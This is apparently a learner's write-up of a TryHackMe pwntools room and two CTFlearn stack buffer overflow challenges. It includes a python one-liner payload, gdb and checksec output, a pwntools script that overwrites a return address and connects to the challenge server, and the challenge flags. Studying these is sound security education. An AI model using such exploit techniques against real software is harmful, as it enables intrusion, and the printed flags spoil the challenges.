

Verification of Completed *Intro to Pwntools* on Tryhackme.com

The screenshot shows the TryHackMe interface for the 'Intro To Pwntools' room. The top navigation bar includes 'Dashboard', 'Learn', 'Compete', and 'Other'. A red 'Access Machines' button is visible. The room title 'Intro To Pwntools' is displayed with a checkered flag icon and a 'Start AttackBox' button. Below the title, a green progress bar indicates 100% completion. A list of tasks is shown, all marked as completed with green checkmarks:

- Task 1 Introduction
- Task 2 Checksec
- Task 3 Cyclic
- Task 4 Networking
- Task 5 Shellcraft
- Task 6 Conclusion

Verification of ctflearn.com account and completed challenges

The screenshot shows the ctflearn.com profile for user 'aaantoun'. The profile includes a robot avatar, the username 'aaantoun', and a ranking of '22945th place · 14 days'. A 'Settings' button is visible. The 'Activity' section lists recent achievements:

- aaantoun solved **RIP my bof** 18 hours ago
- aaantoun solved **Character Encoding** 3 days ago
- aaantoun solved **Where Can My Robot Go?** 3 days ago
- aaantoun commented on a challenge 6 days ago
- aaantoun rated **Simple bof** 5 stars 6 days ago

At the bottom, a bio reads: 'Started here to learn security with CTF challenges. Got addicted to the challenges!'.

CTF challenge: Simple bof

First thing I did was to check the given .c file to determine what the program does and identify any vulnerabilities. As there is no source file for some of the functions, compiling the program is not an option.

If one were to rewrite the program just enough such that it can compile then that would be counter to the spirit of the challenge. We can view the program a variety of ways - I chose to open it in nano as I like to have syntax highlighting (although minimal) present

- **nano bof.c**

```
int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    safeguard();
    vuln();
}

void vuln() {
    char padding[16];
    char buff[32];
    int notsecret = 0xffffffff00;
    int secret = 0xdeadbeef;

    // Check if secret has changed.
    if (secret == 0x67616c66) {
        puts("You did it! Congratulations!");
        print_flag(); // Print out the flag. You deserve it.
        return;
    }
}
```

Here are the findings:

- 1) Main calls the function vuln(), which is the only function that is defined inside the source file.
- 2) There is 32- byte input buffer, and an additional 16 bytes of padding
- 3) The flag is protected by comparing the value of secret with another hex value (0x67616c66)

The objective is simply to change the contents of *secret* to be the same as the hex value in the if statement. We can do this by overflowing the input buffer by enough to rewrite the input, the padding and finally the secret. We cannot just target the address of *print_flag()* as we don't have an executable to read the symbols off of.

We can do this by writing a payload of at least 16+32 (padding + buffer) and then appending the hex value that we like to the back of it.

I do this directly in my terminal, as there is not enough work to be done to justify writing it up in either bash or pwntools.

- 1) **python -c 'print("A"*48 + "\x66\x6c\x61\x67")'**

- a) We print 48 A's because we need to overflow the buffer and padding which is 16+32 = 48
- b) \x66\x6c\x61\x67 is the hex in little-Endian of the desired value that we want the secret to be.

2) Telnet thekidofarcrania.com 35235

- a) The instructions give us a top level domain and a port number so, I used telnet to connect
- 3) Copy and paste the result of 1) into what the program sends back to you in 2)

```
(kungpowchikn@kali)-[~/Downloads]
$ python -c 'print("A"*48 + "\x66\x6c\x61\x67")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag

(kungpowchikn@kali)-[~/Downloads]
$ telnet thekidofarcrania.com 35235
Trying 104.131.79.111 ...
Connected to thekidofarcrania.com.
Escape character is '^]'.

Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffc38428 | 00 00 00 00 00 00 00 00 |
0xffc38430 | 00 00 00 00 00 00 00 00 |
0xffc38438 | 00 00 00 00 00 00 00 00 |
0xffc38440 | 00 00 00 00 00 00 00 00 |
0xffc38448 | ff ff ff ff ff ff ff ff |
0xffc38450 | ff ff ff ff ff ff ff ff |
0xffc38458 | ef be ad de 00 ff ff ff |
0xffc38460 | c0 25 ee f7 84 1f 56 56 |
0xffc38468 | 78 84 c3 ff 11 fb 55 56 |
0xffc38470 | 90 84 c3 ff 00 00 00 00 |


Input some text: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag

Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffc38428 | 41 41 41 41 41 41 41 41 |
0xffc38430 | 41 41 41 41 41 41 41 41 |
0xffc38438 | 41 41 41 41 41 41 41 41 |
0xffc38440 | 41 41 41 41 41 41 41 41 |
0xffc38448 | 41 41 41 41 41 41 41 41 |
0xffc38450 | 41 41 41 41 41 41 41 41 |
0xffc38458 | 66 6c 61 67 0d 00 ff ff |
0xffc38460 | c0 25 ee f7 84 1f 56 56 |
0xffc38468 | 78 84 c3 ff 11 fb 55 56 |
0xffc38470 | 90 84 c3 ff 00 00 00 00 |

You did it! Congratuations!
CTFlearn{buffer_0verflows_4re_c00l!}
Connection closed by foreign host.
```

The flag is “CTFlearn{buffer_0verflows_4re_c00l!}”, now we just submit the flag to ctf-learn and move onto the next task.


Simple bof ✓

 10 points Easy

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to [Mr. Liveoverflow](#). He puts out nice videos you should look if you haven't already

```
nc thekidofarcrania.com 35235
```

bof.c 

Flag

CTFlearn{h4ck3d}

Solved

Binary · thekidofarcrania

1566 solves

CTF Challenge: RIP my bof:

This task requires us to change the return address to that of a specific function. It comes with a binary file that one is supposed to use to find the parameters required for the exploit.

First thing I like to do for *completeness* is to analyze the binary
Check security of file...

- Checksec --file=server

```
(kungpowchikn@kali)-[~/Downloads/pwn-simple-rip]
$ checksec --file=server
[*] '/home/kali/Downloads/pwn-simple-rip/server'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

And are we able to perform a buffer overflow...

- python -c 'print("A"*400)' | valgrind --leak-check=full -s ./server

```
41 41 41 41 41 41 41 41 |
0xfec97068 | 41 41 41 41 41 41 41 |
Return address: 0x41414141

==31547== Jump to the invalid address stated on the next line
==31547== at 0x41414141: ???
==31547== Address 0x41414141 is not stack'd, malloc'd or (recently) free'd
```

So we can see the security (or lack thereof) allows us to overflow the buffer, and and the EIP, we can then insert the address of whatever function we want to go to. Using nano I view the code and try to find the flag

- nano bof2.c

```
int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    vuln();
}
```

```
void vuln() {
    char padding[16];
    char buff[32];
}
```

```
void win() {
    system("/bin/cat /flag.txt");
}
```

Similar to the first CTF challenge, this one calls a function *vuln()* that is aptly named after its buffers. Again 32bytes for input called buff, and 16 additionally bytes for padding called padding. There exists a function called *win()* which cats a file called /flag.txt - This means there is no way to pull the flag locally, instead we have to modify the eip address to point to win().

Obviously we need to know the address of win:

- `nm ./server | grep win`

```
$ nm ./server | grep win
08048586 T win
```

I need to know the offset between the base address and the EIP, I use a cyclic pattern to do this, which will allow pwntools to automatically resolve the offset.

- **Cyclic 400 > pattern**
 - Storing the pattern in a file will make the following step quick and easy
 - From the valgrind check I know that 400 will definitely be enough to overflow
- **Gdb -q server**
- **Run < pattern**
 - From the pattern file that was created above

We want to note down the contents at register EIP - In this case its 'paaa'

```
Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x1
EBX: 0x6161616e ('naaa')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0x1
EDI: 0x8048470 (<_start>:      xor    ebp,ebp)
EBP: 0x6161616f ('oaaa')
ESP: 0xffffc0a0 ("qaaaraaasaaataaaauaaavaaaawaaaxaaayaad
aablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaa
jaackaaclaacmaacnaacoaacpaac" ...)
EIP: 0x61616170 ('paaa')
```

```
EIP: 0x61616170 ('paaa')
```

At this point we have everything that we need, being,

- A 4 byte string that we can make pwntools exploit look for
- And the address of the target function

Creating a payload

As I mentioned before, the win() function will cat back the contents of a flag file, presumably being the flag, so we need to be able to receive data back. So instead of using the python file to generate a string I copy as input, it will handle sending and receiving the input. Some of my colleagues have been able to send the same exploit over, and get the flag sent back via netcat, others have not. However using the send and interactive methods available (which work the same as if they're from the 'socket' module) it will work.

Starting the program, one should import pwntools

- **from pwn import ***

Now, we create a cyclic pattern UPTO but not including 'paaa' as we need those 4 bytes for the address.

- **payload = cyclic(cyclic_find('paaa'))**

The pack function is handy as it not only turns it into hex format, but also in little endian

- **payload += p32(0x8048586)**

Now we need to connect to the host and port

- **r = remote('thekidofarcrania.com', 4902)**

We can now use R to send the payload and interact with the port, while we're not doing much, this will allow us to see what the program 'cat's back to us.

- **r.send(payload)**
- **r.interactive()**

```

1  from pwn import *
2
3  #Overflow buffer just enough so that we can overwrite the return address
4  payload = cyclic(cyclic_find('paaa'))
5
6  #Below is the address found using the nm ./server | grep win command
7  payload += p32(0x8048586)
8  print('Payload size is : ', len(payload))
9
10 #establish connect to host and port, store connecting in r
11 r = remote('thekidofarcrania.com', 4902)
12 r.send(payload)
13 print(payload)
14 #interactive connection is sufficient to let us see the flag
15 r.interactive()
16

```

This concludes the exploit, now we just run it in our terminal and let it handle the rest. You will need to hit the return key when the program requests input

- **python exploit.py**
 - My program is called exploit.py

```


Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffde4c30 | 61 61 61 61 62 61 61 61 |
0xffde4c38 | 63 61 61 61 64 61 61 61 |
0xffde4c40 | 65 61 61 61 66 61 61 61 |
0xffde4c48 | 67 61 61 61 68 61 61 61 |
0xffde4c50 | 69 61 61 61 6a 61 61 61 |
0xffde4c58 | 6b 61 61 61 6c 61 61 61 |
0xffde4c60 | 6d 61 61 61 6e 61 61 61 |
0xffde4c68 | 6f 61 61 61 86 85 04 08 |
Return address: 0x08048586

CTFlearn{c0ntr0ling_r1p_1s_n0t_t00_h4rd_abjkd1fa}
timeout: the monitored command dumped core
[1] Ctrl-C: EOF while waiting for interaction

```

The flag is “CTFlearn{c0ntr0ling_r1p_1s_n0t_t00_h4rd_abjkd1fa}”. Done!

RIP my bof ✓


 30 points

Easy

Okay so we have a bof, can we get it to redirect IP (instruction pointer) to something else?

If you get stuck liveoverflow [covers you again!](#)

```
nc thekidofarcrania.com 4902
```

simple-rip.tar.gz 

Flag

CTFlearn{h4ck3d}

Solved

Binary · thekidofarcrania

825 solves